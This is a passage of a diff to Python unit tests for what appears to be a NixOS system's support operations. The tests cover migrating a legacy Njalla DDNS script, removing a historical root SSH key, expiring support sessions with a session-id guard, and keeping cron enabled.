+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_malformed_quotes_not_extracted(self):
+        """Half-open quote must not match."""
+        script = 'curl "https://njal.la/update/?k=TOKEN\n'
+        urls, _ = self._run_migration(script)
+        self.assertEqual(urls, [])
+
+    def test_failed_persistence_leaves_script_untouched(self):
+        """If save_fn raises, the script must NOT be archived."""
+        def _fail_save(urls):
+            raise OSError("disk full")
+
+        with tempfile.TemporaryDirectory() as tmpdir:
+            script_path = os.path.join(tmpdir, "njalla.sh")
+            script_content = (
+                "#!/usr/bin/env bash\n"
+                "curl https://njal.la/update/?h=test&k=TOKEN\n"
+            )
+            with open(script_path, "w") as f:
+                f.write(script_content)
+            os.chmod(script_path, 0o755)
+
+            support_ops.migrate_legacy_njalla_script(
+                script_path,
+                _validate_ddns_url,
+                _fail_save,
+                lambda: [],
+            )
+
+            # Script must still be executable (not archived)
+            mode = oct(os.stat(script_path).st_mode)[-3:]
+            self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
+
 
 # ---------------------------------------------------------------------------
-# Legacy root key removal
+# Legacy root key removal — production-backed tests
 # ---------------------------------------------------------------------------
 
 class TestLegacyRootKeyRemoval(unittest.TestCase):
-    """_remove_legacy_root_support_key must remove only the legacy key."""
+    """remove_legacy_root_key must remove only the exact historical key blob.
 
-    def _simulate_removal(self, lines: list[str]) -> list[str]:
-        """Simulate the key-removal logic without touching real files."""
-        COMMENT = "sovransystemsos-support"
-        kept = []
-        for line in lines:
-            stripped = line.rstrip("\n")
-            parts = stripped.split()
-            if len(parts) >= 3 and parts[2] == COMMENT:
-                pass  # remove
-            else:
-                kept.append(line)
-        return kept
+    All tests call the exact production implementation from support_ops with
+    temporary files; no simulation is used.
+    """
 
-    def test_legacy_key_removed(self):
-        lines = [
-            "ssh-ed25519 AAAA admin@host\n",
-            "ssh-ed25519 BBBB sovransystemsos-support\n",
-            "ssh-ed25519 CCCC another@host\n",
-        ]
-        result = self._simulate_removal(lines)
-        self.assertEqual(len(result), 2)
-        contents = "".join(result)
-        self.assertNotIn("sovransystemsos-support", contents)
-        self.assertIn("admin@host", contents)
-        self.assertIn("another@host", contents)
+    TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
+
+    def _do_removal(self, file_content: str) -> tuple[bool, str]:
+        """Run production key removal, return (changed, result_content)."""
+        with tempfile.TemporaryDirectory() as tmpdir:
+            auth_keys = os.path.join(tmpdir, "authorized_keys")
+            with open(auth_keys, "w") as f:
+                f.write(file_content)
+            changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
+            with open(auth_keys) as f:
+                result = f.read()
+        return changed, result
+
+    def test_exact_historical_key_removed(self):
+        """The exact historical key must be removed regardless of comment."""
+        lines = (
+            "ssh-ed25519 AAAA admin@host\n"
+            f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
+            "ssh-ed25519 CCCC another@host\n"
+        )
+        changed, result = self._do_removal(lines)
+        self.assertTrue(changed)
+        self.assertNotIn(self.TARGET_BLOB, result)
+        self.assertIn("admin@host", result)
+        self.assertIn("another@host", result)
+
+    def test_same_comment_different_blob_preserved(self):
+        """A key with 'free@nixos' comment but different blob must NOT be removed."""
+        lines = (
+            "ssh-ed25519 DIFFERENTBLOB free@nixos\n"
+        )
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
+        self.assertIn("DIFFERENTBLOB", result)
+
+    def test_legacy_key_with_different_comment_removed(self):
+        """The exact blob with any comment (or no comment) must be removed."""
+        lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
+        changed, result = self._do_removal(lines)
+        self.assertTrue(changed)
+        self.assertNotIn(self.TARGET_BLOB, result)
 
     def test_unrelated_keys_preserved(self):
-        lines = [
-            "ssh-ed25519 AAAA admin@host\n",
-            "ssh-ed25519 CCCC another@host\n",
-        ]
-        result = self._simulate_removal(lines)
+        lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
         self.assertEqual(result, lines)
 
     def test_empty_file_unchanged(self):
-        self.assertEqual(self._simulate_removal([]), [])
+        changed, result = self._do_removal("")
+        self.assertFalse(changed)
+        self.assertEqual(result, "")
 
     def test_comment_line_preserved(self):
-        lines = [
-            "# authorized keys\n",
-            "ssh-ed25519 AAAA admin@host\n",
-        ]
-        result = self._simulate_removal(lines)
+        lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
+        changed, result = self._do_removal(lines)
+        self.assertFalse(changed)
         self.assertEqual(result, lines)
 
-    def test_multiple_legacy_keys_all_removed(self):
-        lines = [
-            "ssh-ed25519 AAAA sovransystemsos-support\n",
-            "ssh-ed25519 BBBB sovransystemsos-support\n",
-            "ssh-ed25519 CCCC admin@host\n",
-        ]
-        result = self._simulate_removal(lines)
-        self.assertEqual(len(result), 1)
-        self.assertIn("admin@host", "".join(result))
+    def test_missing_file_returns_false(self):
+        result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
+        self.assertFalse(result)
+
+    def test_audit_callback_called(self):
+        events = []
+        lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
+        with tempfile.TemporaryDirectory() as tmpdir:
+            auth_keys = os.path.join(tmpdir, "authorized_keys")
+            with open(auth_keys, "w") as f:
+                f.write(lines)
+            support_ops.remove_legacy_root_key(
+                auth_keys, self.TARGET_BLOB,
+                audit_fn=lambda event, details="": events.append(event),
+            )
+        self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
 
 
 # ---------------------------------------------------------------------------
-# Support session expiration
+# Support session expiry — production-backed tests
 # ---------------------------------------------------------------------------
 
 class TestSupportSessionExpiration(unittest.TestCase):
-    """Support session expiry logic must respect expires_at."""
+    """expire_if_stale must enforce expiry and the session_id guard.
 
-    def _is_expired(self, session_info: dict) -> bool:
-        """Replicate the expiry check from _expire_support_if_stale."""
-        import time
-        expires_at = session_info.get("expires_at")
-        if expires_at is None:
-            enabled_at = session_info.get("enabled_at", 0)
-            return bool(enabled_at and (time.time() - enabled_at) > 86400)
-        return time.time() >= expires_at
+    All tests call the exact production implementation from support_ops with
+    temporary files and injectable clock/disable functions.
+    """
+
+    def _write_session(self, tmpdir, **fields) -> str:
+        status_file = os.path.join(tmpdir, "support-session-status")
+        with open(status_file, "w") as f:
+            json.dump(fields, f)
+        return status_file
 
     def test_future_expiry_not_expired(self):
         import time
-        info = {"expires_at": time.time() + 3600}
-        self.assertFalse(self._is_expired(info))
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
 
     def test_past_expiry_expired(self):
         import time
-        info = {"expires_at": time.time() - 1}
-        self.assertTrue(self._is_expired(info))
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() - 1)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
 
     def test_no_expiry_recent_session_not_expired(self):
         import time
-        info = {"enabled_at": time.time() - 100}
-        self.assertFalse(self._is_expired(info))
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
+            result = support_ops.expire_if_stale(sf, clock_fn=time.time)
+        self.assertFalse(result)
 
     def test_no_expiry_old_session_expired(self):
         import time
-        info = {"enabled_at": time.time() - 86401}
-        self.assertTrue(self._is_expired(info))
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
+
+    def test_session_id_guard_matching_expires(self):
+        """Timer with matching session_id must expire the session."""
+        import time
+        sid = "test-session-id"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=sid,
+                expected_expiry=exp,
+            )
+        self.assertTrue(result)
+        self.assertTrue(disabled[0])
+
+    def test_stale_timer_does_not_revoke_replacement_session(self):
+        """A timer for an old session must not revoke a newer replacement session."""
+        import time
+        old_sid = "old-session"
+        new_sid = "new-session"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            # Current session has the NEW session id
+            sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
+            disabled = [False]
+            # Timer fires with OLD session id
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=old_sid,  # stale — doesn't match stored new_sid
+                expected_expiry=exp,
+            )
+        self.assertFalse(result, "stale timer must not revoke replacement session")
+        self.assertFalse(disabled[0])
+
+    def test_stale_expiry_mismatch_does_not_revoke(self):
+        """A timer with mismatched expected_expiry must not revoke."""
+        import time
+        sid = "same-sid"
+        exp = time.time() - 1
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+                session_id=sid,
+                expected_expiry=exp,  # differs from stored exp+999
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
+
+    def test_startup_reconciliation_with_live_session(self):
+        """On startup, a live session must not be expired."""
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
+            disabled = [False]
+            result = support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
+            )
+        self.assertFalse(result)
+        self.assertFalse(disabled[0])
+
+    def test_audit_callback_receives_support_expired_event(self):
+        import time
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, expires_at=time.time() - 1)
+            events = []
+            support_ops.expire_if_stale(
+                sf,
+                clock_fn=time.time,
+                audit_fn=lambda event, details="": events.append(event),
+            )
+        self.assertIn("SUPPORT_EXPIRED", events)
 
     def test_zero_enabled_at_not_expired(self):
-        info = {"enabled_at": 0}
-        self.assertFalse(self._is_expired(info))
+        with tempfile.TemporaryDirectory() as tmpdir:
+            sf = self._write_session(tmpdir, enabled_at=0)
+            result = support_ops.expire_if_stale(sf)
+        self.assertFalse(result)
+
+
+# ---------------------------------------------------------------------------
+# Cron composition
+# ---------------------------------------------------------------------------
+
+class TestCronComposition(unittest.TestCase):
+    """configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
+
+    def _get_config_content(self):
+        path = os.path.join(_REPO_ROOT, "configuration.nix")
+        with open(path) as f:
+            return f.read()
+
+    def test_cron_not_disabled(self):
+        """services.cron.enable = false must not appear in configuration.nix."""
+        self.assertNotIn("services.cron.enable = false", self._get_config_content())
+
+    def test_sovran_ddns_update_timer_in_njalla(self):
+        """The periodic Njalla updater must be the systemd timer, not a cron job."""
+        path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
+        with open(path) as f:
+            content = f.read()
+        self.assertIn("sovran-ddns-update", content)
+        self.assertNotIn("services.cron", content)
 
 
 if __name__ == "__main__":